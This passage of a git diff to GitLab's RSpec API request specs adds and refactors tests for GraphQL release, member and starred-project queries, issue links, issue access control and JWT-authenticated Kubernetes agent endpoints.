@@ -138,7 +142,8 @@ RSpec.describe 'Query.project(fullPath).release(tagName)' do
'id' => global_id_of(link),
'name' => link.name,
'url' => link.url,
- 'external' => link.external?
+ 'external' => link.external?,
+ 'directAssetUrl' => link.filepath ? Gitlab::Routing.url_helpers.project_release_url(project, release) << link.filepath : link.url
}
end
@@ -268,9 +273,9 @@ RSpec.describe 'Query.project(fullPath).release(tagName)' do
let_it_be(:project) { create(:project, :repository, :private) }
let_it_be(:milestone_1) { create(:milestone, project: project) }
let_it_be(:milestone_2) { create(:milestone, project: project) }
- let_it_be(:release) { create(:release, :with_evidence, project: project, milestones: [milestone_1, milestone_2]) }
+ let_it_be(:release) { create(:release, :with_evidence, project: project, milestones: [milestone_1, milestone_2], released_at: released_at) }
let_it_be(:release_link_1) { create(:release_link, release: release) }
- let_it_be(:release_link_2) { create(:release_link, release: release) }
+ let_it_be(:release_link_2) { create(:release_link, release: release, filepath: link_filepath) }
before_all do
project.add_developer(developer)
@@ -309,9 +314,9 @@ RSpec.describe 'Query.project(fullPath).release(tagName)' do
let_it_be(:project) { create(:project, :repository, :public) }
let_it_be(:milestone_1) { create(:milestone, project: project) }
let_it_be(:milestone_2) { create(:milestone, project: project) }
- let_it_be(:release) { create(:release, :with_evidence, project: project, milestones: [milestone_1, milestone_2]) }
+ let_it_be(:release) { create(:release, :with_evidence, project: project, milestones: [milestone_1, milestone_2], released_at: released_at) }
let_it_be(:release_link_1) { create(:release_link, release: release) }
- let_it_be(:release_link_2) { create(:release_link, release: release) }
+ let_it_be(:release_link_2) { create(:release_link, release: release, filepath: link_filepath) }
before_all do
project.add_developer(developer)
@@ -371,4 +376,45 @@ RSpec.describe 'Query.project(fullPath).release(tagName)' do
it_behaves_like 'no access to the release field'
end
end
+
+ describe 'upcoming release' do
+ let(:path) { path_prefix }
+ let(:project) { create(:project, :repository, :private) }
+ let(:release) { create(:release, :with_evidence, project: project, released_at: released_at) }
+ let(:current_user) { developer }
+
+ let(:release_fields) do
+ query_graphql_field(%{
+ releasedAt
+ upcomingRelease
+ })
+ end
+
+ before do
+ project.add_developer(developer)
+ post_query
+ end
+
+ context 'future release' do
+ let(:released_at) { Time.now + 1.day }
+
+ it 'finds all release data' do
+ expect(data).to eq({
+ 'releasedAt' => release.released_at.iso8601,
+ 'upcomingRelease' => true
+ })
+ end
+ end
+
+ context 'past release' do
+ let(:released_at) { Time.now - 1.day }
+
+ it 'finds all release data' do
+ expect(data).to eq({
+ 'releasedAt' => release.released_at.iso8601,
+ 'upcomingRelease' => false
+ })
+ end
+ end
+ end
end
diff --git a/spec/requests/api/graphql/project/releases_spec.rb b/spec/requests/api/graphql/project/releases_spec.rb
index 7e418bbaa5b..7c57c0e9177 100644
--- a/spec/requests/api/graphql/project/releases_spec.rb
+++ b/spec/requests/api/graphql/project/releases_spec.rb
@@ -14,6 +14,7 @@ RSpec.describe 'Query.project(fullPath).releases()' do
graphql_query_for(:project, { fullPath: project.full_path },
%{
releases {
+ count
nodes {
tagName
tagPath
@@ -53,6 +54,20 @@ RSpec.describe 'Query.project(fullPath).releases()' do
stub_default_url_options(host: 'www.example.com')
end
+ shared_examples 'correct total count' do
+ let(:data) { graphql_data.dig('project', 'releases') }
+
+ before do
+ create_list(:release, 2, project: project)
+
+ post_query
+ end
+
+ it 'returns the total count' do
+ expect(data['count']).to eq(project.releases.count)
+ end
+ end
+
shared_examples 'full access to all repository-related fields' do
describe 'repository-related fields' do
before do
@@ -92,6 +107,8 @@ RSpec.describe 'Query.project(fullPath).releases()' do
)
end
end
+
+ it_behaves_like 'correct total count'
end
shared_examples 'no access to any repository-related fields' do
@@ -119,6 +136,8 @@ RSpec.describe 'Query.project(fullPath).releases()' do
)
end
end
+
+ it_behaves_like 'correct total count'
end
# editUrl is tested separately becuase its permissions
diff --git a/spec/requests/api/graphql/project_query_spec.rb b/spec/requests/api/graphql/project_query_spec.rb
index c6049e098be..4b8ffb0675c 100644
--- a/spec/requests/api/graphql/project_query_spec.rb
+++ b/spec/requests/api/graphql/project_query_spec.rb
@@ -5,7 +5,8 @@ require 'spec_helper'
RSpec.describe 'getting project information' do
include GraphqlHelpers
- let(:project) { create(:project, :repository) }
+ let(:group) { create(:group) }
+ let(:project) { create(:project, :repository, group: group) }
let(:current_user) { create(:user) }
let(:query) do
@@ -60,6 +61,51 @@ RSpec.describe 'getting project information' do
expect(graphql_data['project']['pipelines']['edges'].size).to eq(1)
end
end
+
+ it 'includes inherited members in project_members' do
+ group_member = create(:group_member, group: group)
+ project_member = create(:project_member, project: project)
+ member_query = <<~GQL
+ query {
+ project(fullPath: "#{project.full_path}") {
+ projectMembers {
+ nodes {
+ id
+ user {
+ username
+ }
+ ... on ProjectMember {
+ project {
+ id
+ }
+ }
+ ... on GroupMember {
+ group {
+ id
+ }
+ }
+ }
+ }
+ }
+ }
+ GQL
+
+ post_graphql(member_query, current_user: current_user)
+
+ member_ids = graphql_data.dig('project', 'projectMembers', 'nodes')
+ expect(member_ids).to include(
+ a_hash_including(
+ 'id' => group_member.to_global_id.to_s,
+ 'group' => { 'id' => group.to_global_id.to_s }
+ )
+ )
+ expect(member_ids).to include(
+ a_hash_including(
+ 'id' => project_member.to_global_id.to_s,
+ 'project' => { 'id' => project.to_global_id.to_s }
+ )
+ )
+ end
end
describe 'performance' do
diff --git a/spec/requests/api/graphql/user/starred_projects_query_spec.rb b/spec/requests/api/graphql/user/starred_projects_query_spec.rb
new file mode 100644
index 00000000000..8a1bd3d172f
--- /dev/null
+++ b/spec/requests/api/graphql/user/starred_projects_query_spec.rb
@@ -0,0 +1,73 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Getting starredProjects of the user' do
+ include GraphqlHelpers
+
+ let(:query) do
+ graphql_query_for(:user, user_params, user_fields)
+ end
+
+ let(:user_params) { { username: user.username } }
+
+ let_it_be(:project_a) { create(:project, :public) }
+ let_it_be(:project_b) { create(:project, :private) }
+ let_it_be(:project_c) { create(:project, :private) }
+ let_it_be(:user, reload: true) { create(:user) }
+
+ let(:user_fields) { 'starredProjects { nodes { id } }' }
+ let(:starred_projects) { graphql_data_at(:user, :starred_projects, :nodes) }
+
+ before do
+ project_b.add_reporter(user)
+ project_c.add_reporter(user)
+
+ user.toggle_star(project_a)
+ user.toggle_star(project_b)
+ user.toggle_star(project_c)
+
+ post_graphql(query)
+ end
+
+ it_behaves_like 'a working graphql query'
+
+ it 'found only public project' do
+ expect(starred_projects).to contain_exactly(
+ a_hash_including('id' => global_id_of(project_a))
+ )
+ end
+
+ context 'the current user is the user' do
+ let(:current_user) { user }
+
+ before do
+ post_graphql(query, current_user: current_user)
+ end
+
+ it 'found all projects' do
+ expect(starred_projects).to contain_exactly(
+ a_hash_including('id' => global_id_of(project_a)),
+ a_hash_including('id' => global_id_of(project_b)),
+ a_hash_including('id' => global_id_of(project_c))
+ )
+ end
+ end
+
+ context 'the current user is a member of a private project the user starred' do
+ let_it_be(:other_user) { create(:user) }
+
+ before do
+ project_b.add_reporter(other_user)
+
+ post_graphql(query, current_user: other_user)
+ end
+
+ it 'finds public and member projects' do
+ expect(starred_projects).to contain_exactly(
+ a_hash_including('id' => global_id_of(project_a)),
+ a_hash_including('id' => global_id_of(project_b))
+ )
+ end
+ end
+end
diff --git a/spec/requests/api/group_packages_spec.rb b/spec/requests/api/group_packages_spec.rb
index e02f6099637..f67cafbd8f5 100644
--- a/spec/requests/api/group_packages_spec.rb
+++ b/spec/requests/api/group_packages_spec.rb
@@ -141,5 +141,7 @@ RSpec.describe API::GroupPackages do
it_behaves_like 'returning response status', :bad_request
end
+
+ it_behaves_like 'does not cause n^2 queries'
end
end
diff --git a/spec/requests/api/helpers_spec.rb b/spec/requests/api/helpers_spec.rb
index 1fa705423d2..9c0ea14e3e3 100644
--- a/spec/requests/api/helpers_spec.rb
+++ b/spec/requests/api/helpers_spec.rb
@@ -39,7 +39,7 @@ RSpec.describe API::Helpers do
end
def error!(message, status, header)
- raise Exception.new("#{status} - #{message}")
+ raise StandardError.new("#{status} - #{message}")
end
def set_param(key, value)
diff --git a/spec/requests/api/internal/base_spec.rb b/spec/requests/api/internal/base_spec.rb
index 873189af397..4a0a7c81781 100644
--- a/spec/requests/api/internal/base_spec.rb
+++ b/spec/requests/api/internal/base_spec.rb
@@ -415,7 +415,7 @@ RSpec.describe API::Internal::Base do
let(:env) { {} }
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
before do
@@ -1179,7 +1179,7 @@ RSpec.describe API::Internal::Base do
let(:gl_repository) { "snippet-#{personal_snippet.id}" }
it 'does not try to notify that project moved' do
- allow(Gitlab::GlRepository).to receive(:parse).and_return([personal_snippet, nil, Gitlab::GlRepository::PROJECT])
+ allow(Gitlab::GlRepository).to receive(:parse).and_return([personal_snippet, nil, Gitlab::GlRepository::SNIPPET])
expect(Gitlab::Checks::ProjectMoved).not_to receive(:fetch_message)
diff --git a/spec/requests/api/internal/kubernetes_spec.rb b/spec/requests/api/internal/kubernetes_spec.rb
index 555ca441fe7..f669483b5a4 100644
--- a/spec/requests/api/internal/kubernetes_spec.rb
+++ b/spec/requests/api/internal/kubernetes_spec.rb
@@ -3,24 +3,97 @@
require 'spec_helper'
RSpec.describe API::Internal::Kubernetes do
- describe "GET /internal/kubernetes/agent_info" do
+ let(:jwt_auth_headers) do
+ jwt_token = JWT.encode({ 'iss' => Gitlab::Kas::JWT_ISSUER }, Gitlab::Kas.secret, 'HS256')
+
+ { Gitlab::Kas::INTERNAL_API_REQUEST_HEADER => jwt_token }
+ end
+
+ let(:jwt_secret) { SecureRandom.random_bytes(Gitlab::Kas::SECRET_LENGTH) }
+
+ before do
+ allow(Gitlab::Kas).to receive(:secret).and_return(jwt_secret)
+ end
+
+ shared_examples 'authorization' do
+ context 'not authenticated' do
+ it 'returns 401' do
+ send_request(headers: { Gitlab::Kas::INTERNAL_API_REQUEST_HEADER => '' })
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+
context 'kubernetes_agent_internal_api feature flag disabled' do
before do
stub_feature_flags(kubernetes_agent_internal_api: false)
end
it 'returns 404' do
- get api('/internal/kubernetes/agent_info')
+ send_request
expect(response).to have_gitlab_http_status(:not_found)
end
end
+ end
+ shared_examples 'agent authentication' do
it 'returns 403 if Authorization header not sent' do
- get api('/internal/kubernetes/agent_info')
+ send_request
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+
+ it 'returns 403 if Authorization is for non-existent agent' do
+ send_request(headers: { 'Authorization' => 'Bearer NONEXISTENT' })
expect(response).to have_gitlab_http_status(:forbidden)
end
+ end
+
+ describe 'POST /internal/kubernetes/usage_metrics' do
+ def send_request(headers: {}, params: {})
+ post api('/internal/kubernetes/usage_metrics'), params: params, headers: headers.reverse_merge(jwt_auth_headers)
+ end
+
+ include_examples 'authorization'
+
+ context 'is authenticated for an agent' do
+ let!(:agent_token) { create(:cluster_agent_token) }
+
+ it 'returns no_content for valid gitops_sync_count' do
+ send_request(params: { gitops_sync_count: 10 }, headers: { 'Authorization' => "Bearer #{agent_token.token}" })
+
+ expect(response).to have_gitlab_http_status(:no_content)
+ end
+
+ it 'returns no_content 0 gitops_sync_count' do
+ send_request(params: { gitops_sync_count: 0 }, headers: { 'Authorization' => "Bearer #{agent_token.token}" })
+
+ expect(response).to have_gitlab_http_status(:no_content)
+ end
+
+ it 'returns 400 for non number' do
+ send_request(params: { gitops_sync_count: 'string' }, headers: { 'Authorization' => "Bearer #{agent_token.token}" })
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+
+ it 'returns 400 for negative number' do
+ send_request(params: { gitops_sync_count: '-1' }, headers: { 'Authorization' => "Bearer #{agent_token.token}" })
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+ end
+ end
+
+ describe "GET /internal/kubernetes/agent_info" do
+ def send_request(headers: {}, params: {})
+ get api('/internal/kubernetes/agent_info'), params: params, headers: headers.reverse_merge(jwt_auth_headers)
+ end
+
+ include_examples 'authorization'
+ include_examples 'agent authentication'
context 'an agent is found' do
let!(:agent_token) { create(:cluster_agent_token) }
@@ -29,7 +102,7 @@ RSpec.describe API::Internal::Kubernetes do
let(:project) { agent.project }
it 'returns expected data', :aggregate_failures do
- get api('/internal/kubernetes/agent_info'), headers: { 'Authorization' => "Bearer #{agent_token.token}" }
+ send_request(headers: { 'Authorization' => "Bearer #{agent_token.token}" })
expect(response).to have_gitlab_http_status(:success)
@@ -53,42 +126,15 @@ RSpec.describe API::Internal::Kubernetes do
)
end
end
-
- context 'no such agent exists' do
- it 'returns 404' do
- get api('/internal/kubernetes/agent_info'), headers: { 'Authorization' => 'Bearer ABCD' }
-
- expect(response).to have_gitlab_http_status(:forbidden)
- end
- end
end
describe 'GET /internal/kubernetes/project_info' do
- context 'kubernetes_agent_internal_api feature flag disabled' do
- before do
- stub_feature_flags(kubernetes_agent_internal_api: false)
- end
-
- it 'returns 404' do
- get api('/internal/kubernetes/project_info')
-
- expect(response).to have_gitlab_http_status(:not_found)
- end
+ def send_request(headers: {}, params: {})
+ get api('/internal/kubernetes/project_info'), params: params, headers: headers.reverse_merge(jwt_auth_headers)
end
- it 'returns 403 if Authorization header not sent' do
- get api('/internal/kubernetes/project_info')
-
- expect(response).to have_gitlab_http_status(:forbidden)
- end
-
- context 'no such agent exists' do
- it 'returns 404' do
- get api('/internal/kubernetes/project_info'), headers: { 'Authorization' => 'Bearer ABCD' }
-
- expect(response).to have_gitlab_http_status(:forbidden)
- end
- end
+ include_examples 'authorization'
+ include_examples 'agent authentication'
context 'an agent is found' do
let!(:agent_token) { create(:cluster_agent_token) }
@@ -99,7 +145,7 @@ RSpec.describe API::Internal::Kubernetes do
let(:project) { create(:project, :public) }
it 'returns expected data', :aggregate_failures do
- get api('/internal/kubernetes/project_info'), params: { id: project.id }, headers: { 'Authorization' => "Bearer #{agent_token.token}" }
+ send_request(params: { id: project.id }, headers: { 'Authorization' => "Bearer #{agent_token.token}" })
expect(response).to have_gitlab_http_status(:success)
@@ -126,7 +172,7 @@ RSpec.describe API::Internal::Kubernetes do
let(:project) { create(:project, :private) }
it 'returns 404' do
- get api('/internal/kubernetes/project_info'), params: { id: project.id }, headers: { 'Authorization' => "Bearer #{agent_token.token}" }
+ send_request(params: { id: project.id }, headers: { 'Authorization' => "Bearer #{agent_token.token}" })
expect(response).to have_gitlab_http_status(:not_found)
end
@@ -136,7 +182,7 @@ RSpec.describe API::Internal::Kubernetes do
let(:project) { create(:project, :internal) }
it 'returns 404' do
- get api('/internal/kubernetes/project_info'), params: { id: project.id }, headers: { 'Authorization' => "Bearer #{agent_token.token}" }
+ send_request(params: { id: project.id }, headers: { 'Authorization' => "Bearer #{agent_token.token}" })
expect(response).to have_gitlab_http_status(:not_found)
end
@@ -144,7 +190,7 @@ RSpec.describe API::Internal::Kubernetes do
context 'project does not exist' do
it 'returns 404' do
- get api('/internal/kubernetes/project_info'), params: { id: 0 }, headers: { 'Authorization' => "Bearer #{agent_token.token}" }
+ send_request(params: { id: 0 }, headers: { 'Authorization' => "Bearer #{agent_token.token}" })
expect(response).to have_gitlab_http_status(:not_found)
end
diff --git a/spec/requests/api/issue_links_spec.rb b/spec/requests/api/issue_links_spec.rb
new file mode 100644
index 00000000000..a4243766111
--- /dev/null
+++ b/spec/requests/api/issue_links_spec.rb
@@ -0,0 +1,207 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::IssueLinks do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:issue) { create(:issue, project: project) }
+
+ before do
+ project.add_guest(user)
+ end
+
+ describe 'GET /links' do
+ context 'when unauthenticated' do
+ it 'returns 401' do
+ get api("/projects/#{project.id}/issues/#{issue.iid}/links")
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+
+ context 'when authenticated' do
+ it 'returns related issues' do
+ target_issue = create(:issue, project: project)
+ create(:issue_link, source: issue, target: target_issue)
+
+ get api("/projects/#{project.id}/issues/#{issue.iid}/links", user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to be_an Array
+ expect(json_response.length).to eq(1)
+ expect(response).to match_response_schema('public_api/v4/issue_links')
+ end
+ end
+ end
+
+ describe 'POST /links' do
+ context 'when unauthenticated' do
+ it 'returns 401' do
+ target_issue = create(:issue)
+
+ post api("/projects/#{project.id}/issues/#{issue.iid}/links"),
+ params: { target_project_id: target_issue.project.id, target_issue_iid: target_issue.iid }
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+
+ context 'when authenticated' do
+ context 'given target project not found' do
+ it 'returns 404' do
+ target_issue = create(:issue)
+
+ post api("/projects/#{project.id}/issues/#{issue.iid}/links", user),
+ params: { target_project_id: -1, target_issue_iid: target_issue.iid }
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ expect(json_response['message']).to eq('404 Project Not Found')
+ end
+ end
+
+ context 'given target issue not found' do
+ it 'returns 404' do
+ target_project = create(:project, :public)
+
+ post api("/projects/#{project.id}/issues/#{issue.iid}/links", user),
+ params: { target_project_id: target_project.id, target_issue_iid: non_existing_record_iid }
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ expect(json_response['message']).to eq('404 Not found')
+ end
+ end
+
+ context 'when user does not have write access to given issue' do
+ it 'returns 404' do
+ unauthorized_project = create(:project)
+ target_issue = create(:issue, project: unauthorized_project)
+ unauthorized_project.add_guest(user)
+
+ post api("/projects/#{project.id}/issues/#{issue.iid}/links", user),
+ params: { target_project_id: unauthorized_project.id, target_issue_iid: target_issue.iid }
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ expect(json_response['message']).to eq('No Issue found for given params')
+ end
+ end
+
+ context 'when trying to relate to a confidential issue' do
+ it 'returns 404' do
+ project = create(:project, :public)
+ target_issue = create(:issue, :confidential, project: project)
+
+ post api("/projects/#{project.id}/issues/#{issue.iid}/links", user),
+ params: { target_project_id: project.id, target_issue_iid: target_issue.iid }
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ expect(json_response['message']).to eq('404 Not found')
+ end
+ end
+
+ context 'when trying to relate to a private project issue' do
+ it 'returns 404' do
+ project = create(:project, :private)
+ target_issue = create(:issue, project: project)
+
+ post api("/projects/#{project.id}/issues/#{issue.iid}/links", user),
+ params: { target_project_id: project.id, target_issue_iid: target_issue.iid }
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ expect(json_response['message']).to eq('404 Project Not Found')
+ end
+ end
+
+ context 'when user has ability to create an issue link' do
+ let_it_be(:target_issue) { create(:issue, project: project) }
+
+ before do
+ project.add_reporter(user)
+ end
+
+ it 'returns 201 status and contains the expected link response' do
+ post api("/projects/#{project.id}/issues/#{issue.iid}/links", user),
+ params: { target_project_id: project.id, target_issue_iid: target_issue.iid, link_type: 'relates_to' }
+
+ expect_link_response(link_type: 'relates_to')
+ end
+
+ it 'returns 201 when sending full path of target project' do
+ post api("/projects/#{project.id}/issues/#{issue.iid}/links", user),
+ params: { target_project_id: project.full_path, target_issue_iid: target_issue.iid }
+
+ expect_link_response
+ end
+
+ def expect_link_response(link_type: 'relates_to')
+ expect(response).to have_gitlab_http_status(:created)
+ expect(response).to match_response_schema('public_api/v4/issue_link')
+ expect(json_response['link_type']).to eq(link_type)
+ end
+ end
+ end
+ end
+
+ describe 'DELETE /links/:issue_link_id' do
+ context 'when unauthenticated' do
+ it 'returns 401' do
+ issue_link = create(:issue_link)
+
+ delete api("/projects/#{project.id}/issues/#{issue.iid}/links/#{issue_link.id}")
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+
+ context 'when authenticated' do
+ context 'when user does not have write access to given issue link' do
+ it 'returns 404' do
+ unauthorized_project = create(:project)
+ target_issue = create(:issue, project: unauthorized_project)
+ issue_link = create(:issue_link, source: issue, target: target_issue)
+ unauthorized_project.add_guest(user)
+
+ delete api("/projects/#{project.id}/issues/#{issue.iid}/links/#{issue_link.id}", user)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ expect(json_response['message']).to eq('No Issue Link found')
+ end
+ end
+
+ context 'issue link not found' do
+ it 'returns 404' do
+ delete api("/projects/#{project.id}/issues/#{issue.iid}/links/#{non_existing_record_id}", user)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ expect(json_response['message']).to eq('404 Not found')
+ end
+ end
+
+ context 'when trying to delete a link with a private project issue' do
+ it 'returns 404' do
+ project = create(:project, :private)
+ target_issue = create(:issue, project: project)
+ issue_link = create(:issue_link, source: issue, target: target_issue)
+
+ delete api("/projects/#{project.id}/issues/#{issue.iid}/links/#{issue_link.id}", user)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ expect(json_response['message']).to eq('404 Project Not Found')
+ end
+ end
+
+ context 'when user has ability to delete the issue link' do
+ it 'returns 200' do
+ target_issue = create(:issue, project: project)
+ issue_link = create(:issue_link, source: issue, target: target_issue)
+ project.add_reporter(user)
+
+ delete api("/projects/#{project.id}/issues/#{issue.iid}/links/#{issue_link.id}", user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to match_response_schema('public_api/v4/issue_link')
+ end
+ end
+ end
+ end
+end
diff --git a/spec/requests/api/issues/get_group_issues_spec.rb b/spec/requests/api/issues/get_group_issues_spec.rb
index b0fbf3bf66d..3870c78deee 100644
--- a/spec/requests/api/issues/get_group_issues_spec.rb
+++ b/spec/requests/api/issues/get_group_issues_spec.rb
@@ -402,30 +402,76 @@ RSpec.describe API::Issues do
expect_paginated_array_response([group_closed_issue.id, group_issue.id])
end
- it 'returns an array of labeled group issues' do
- get api(base_url, user), params: { labels: group_label.title }
+ shared_examples 'labels parameter' do
+ it 'returns an array of labeled group issues' do
+ get api(base_url, user), params: { labels: group_label.title }
- expect_paginated_array_response(group_issue.id)
- expect(json_response.first['labels']).to eq([group_label.title])
- end
+ expect_paginated_array_response(group_issue.id)
+ expect(json_response.first['labels']).to eq([group_label.title])
+ end
- it 'returns an array of labeled group issues with labels param as array' do
- get api(base_url, user), params: { labels: [group_label.title] }
+ it 'returns an array of labeled group issues' do
+ get api(base_url, user), params: { labels: group_label.title }
- expect_paginated_array_response(group_issue.id)
- expect(json_response.first['labels']).to eq([group_label.title])
+ expect_paginated_array_response(group_issue.id)
+ expect(json_response.first['labels']).to eq([group_label.title])
+ end
+
+ it 'returns an array of labeled group issues with labels param as array' do
+ get api(base_url, user), params: { labels: [group_label.title] }
+
+ expect_paginated_array_response(group_issue.id)
+ expect(json_response.first['labels']).to eq([group_label.title])
+ end
+
+ it 'returns an array of labeled group issues where all labels match' do
+ get api(base_url, user), params: { labels: "#{group_label.title},foo,bar" }
+
+ expect_paginated_array_response([])
+ end
+
+ it 'returns an array of labeled group issues where all labels match with labels param as array' do
+ get api(base_url, user), params: { labels: [group_label.title, 'foo', 'bar'] }
+
+ expect_paginated_array_response([])
+ end
+
+ context 'with labeled issues' do
+ let(:group_issue2) { create :issue, project: group_project }
+ let(:label_b) { create(:label, title: 'foo', project: group_project) }
+ let(:label_c) { create(:label, title: 'bar', project: group_project) }
+
+ before do
+ create(:label_link, label: group_label, target: group_issue2)
+ create(:label_link, label: label_b, target: group_issue)
+ create(:label_link, label: label_b, target: group_issue2)
+ create(:label_link, label: label_c, target: group_issue)
+
+ get api(base_url, user), params: params
+ end
+
+ let(:issue) { group_issue }
+ let(:issue2) { group_issue2 }
+ let(:label) { group_label }
+
+ it_behaves_like 'labeled issues with labels and label_name params'
+ end
end
- it 'returns an array of labeled group issues where all labels match' do
- get api(base_url, user), params: { labels: "#{group_label.title},foo,bar" }
+ context 'when `optimized_issuable_label_filter` feature flag is off' do
+ before do
+ stub_feature_flags(optimized_issuable_label_filter: false)
+ end
- expect_paginated_array_response([])
+ it_behaves_like 'labels parameter'
end
- it 'returns an array of labeled group issues where all labels match with labels param as array' do
- get api(base_url, user), params: { labels: [group_label.title, 'foo', 'bar'] }
+ context 'when `optimized_issuable_label_filter` feature flag is on' do
+ before do
+ stub_feature_flags(optimized_issuable_label_filter: true)
+ end
- expect_paginated_array_response([])
+ it_behaves_like 'labels parameter'
end
it 'returns issues matching given search string for title' do
@@ -440,27 +486,6 @@ RSpec.describe API::Issues do
expect_paginated_array_response(group_issue.id)
end
- context 'with labeled issues' do
- let(:group_issue2) { create :issue, project: group_project }
- let(:label_b) { create(:label, title: 'foo', project: group_project) }
- let(:label_c) { create(:label, title: 'bar', project: group_project) }
-
- before do
- create(:label_link, label: group_label, target: group_issue2)
- create(:label_link, label: label_b, target: group_issue)
- create(:label_link, label: label_b, target: group_issue2)
- create(:label_link, label: label_c, target: group_issue)
-
- get api(base_url, user), params: params
- end
-
- let(:issue) { group_issue }
- let(:issue2) { group_issue2 }
- let(:label) { group_label }
-
- it_behaves_like 'labeled issues with labels and label_name params'
- end
-
context 'with archived projects' do
let_it_be(:archived_issue) do
create(
diff --git a/spec/requests/api/issues/issues_spec.rb b/spec/requests/api/issues/issues_spec.rb
index b638a65d65e..b8cbddd9ed4 100644
--- a/spec/requests/api/issues/issues_spec.rb
+++ b/spec/requests/api/issues/issues_spec.rb
@@ -87,6 +87,46 @@ RSpec.describe API::Issues do
end
end
+ describe 'GET /issues/:id' do
+ context 'when unauthorized' do
+ it 'returns unauthorized' do
+ get api("/issues/#{issue.id}" )
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+
+ context 'when authorized' do
+ context 'as a normal user' do
+ it 'returns forbidden' do
+ get api("/issues/#{issue.id}", user )
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+
+ context 'as an admin' do
+ context 'when issue exists' do
+ it 'returns the issue' do
+ get api("/issues/#{issue.id}", admin)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response.dig('author', 'id')).to eq(issue.author.id)
+ expect(json_response['description']).to eq(issue.description)
+ end
+ end
+
+ context 'when issue does not exist' do
+ it 'returns 404' do
+ get api("/issues/0", admin)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
+ end
+ end
+
describe 'GET /issues' do
context 'when unauthenticated' do
it 'returns an array of all issues' do
@@ -128,6 +168,11 @@ RSpec.describe API::Issues do
expect_paginated_array_response([issue.id, closed_issue.id])
end
+ it 'responds with a 401 instead of the specified issue' do
+ get api("/issues/#{issue.id}")
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+
context 'issues_statistics' do
it 'returns authentication error without any scope' do
get api('/issues_statistics')
diff --git a/spec/requests/api/jobs_spec.rb b/spec/requests/api/jobs_spec.rb
index 77d5a4f26a8..2d57146fbc9 100644
--- a/spec/requests/api/jobs_spec.rb
+++ b/spec/requests/api/jobs_spec.rb
@@ -5,32 +5,6 @@ require 'spec_helper'
RSpec.describe API::Jobs do
include HttpIOHelpers
- shared_examples 'a job with artifacts and trace' do |result_is_array: true|
- context 'with artifacts and trace' do
- let!(:second_job) { create(:ci_build, :trace_artifact, :artifacts, :test_reports, pipeline: pipeline) }
-
- it 'returns artifacts and trace data', :skip_before_request do
- get api(api_endpoint, api_user)
- json_job = result_is_array ? json_response.select { |job| job['id'] == second_job.id }.first : json_response
-
- expect(json_job['artifacts_file']).not_to be_nil
- expect(json_job['artifacts_file']).not_to be_empty
- expect(json_job['artifacts_file']['filename']).to eq(second_job.artifacts_file.filename)
- expect(json_job['artifacts_file']['size']).to eq(second_job.artifacts_file.size)
- expect(json_job['artifacts']).not_to be_nil
- expect(json_job['artifacts']).to be_an Array
- expect(json_job['artifacts'].size).to eq(second_job.job_artifacts.length)
- json_job['artifacts'].each do |artifact|
- expect(artifact).not_to be_nil
- file_type = Ci::JobArtifact.file_types[artifact['file_type']]
- expect(artifact['size']).to eq(second_job.job_artifacts.find_by(file_type: file_type).size)
- expect(artifact['filename']).to eq(second_job.job_artifacts.find_by(file_type: file_type).filename)
- expect(artifact['file_format']).to eq(second_job.job_artifacts.find_by(file_type: file_type).file_format)
- end
- end
- end
- end
-
let_it_be(:project, reload: true) do
create(:project, :repository, public_builds: false)
end
@@ -56,7 +30,7 @@ RSpec.describe API::Jobs do
end
describe 'GET /projects/:id/jobs' do
- let(:query) { Hash.new }
+ let(:query) { {} }
before do |example|
unless example.metadata[:skip_before_request]
@@ -166,295 +140,6 @@ RSpec.describe API::Jobs do
end
end
- describe 'GET /projects/:id/pipelines/:pipeline_id/jobs' do
- let(:query) { Hash.new }
-
- before do |example|
- unless example.metadata[:skip_before_request]
- job
- get api("/projects/#{project.id}/pipelines/#{pipeline.id}/jobs", api_user), params: query
- end
- end
-
- context 'authorized user' do
- it 'returns pipeline jobs' do
- expect(response).to have_gitlab_http_status(:ok)
- expect(response).to include_pagination_headers
- expect(json_response).to be_an Array
- end
-
- it 'returns correct values' do
- expect(json_response).not_to be_empty
- expect(json_response.first['commit']['id']).to eq project.commit.id
- expect(Time.parse(json_response.first['artifacts_expire_at'])).to be_like_time(job.artifacts_expire_at)
- expect(json_response.first['artifacts_file']).to be_nil
- expect(json_response.first['artifacts']).to be_an Array
- expect(json_response.first['artifacts']).to be_empty
- end
-
- it_behaves_like 'a job with artifacts and trace' do
- let(:api_endpoint) { "/projects/#{project.id}/pipelines/#{pipeline.id}/jobs" }
- end
-
- it 'returns pipeline data' do
- json_job = json_response.first
-
- expect(json_job['pipeline']).not_to be_empty
- expect(json_job['pipeline']['id']).to eq job.pipeline.id
- expect(json_job['pipeline']['ref']).to eq job.pipeline.ref
- expect(json_job['pipeline']['sha']).to eq job.pipeline.sha
- expect(json_job['pipeline']['status']).to eq job.pipeline.status
- end
-
- context 'filter jobs with one scope element' do
- let(:query) { { 'scope' => 'pending' } }
-
- it do
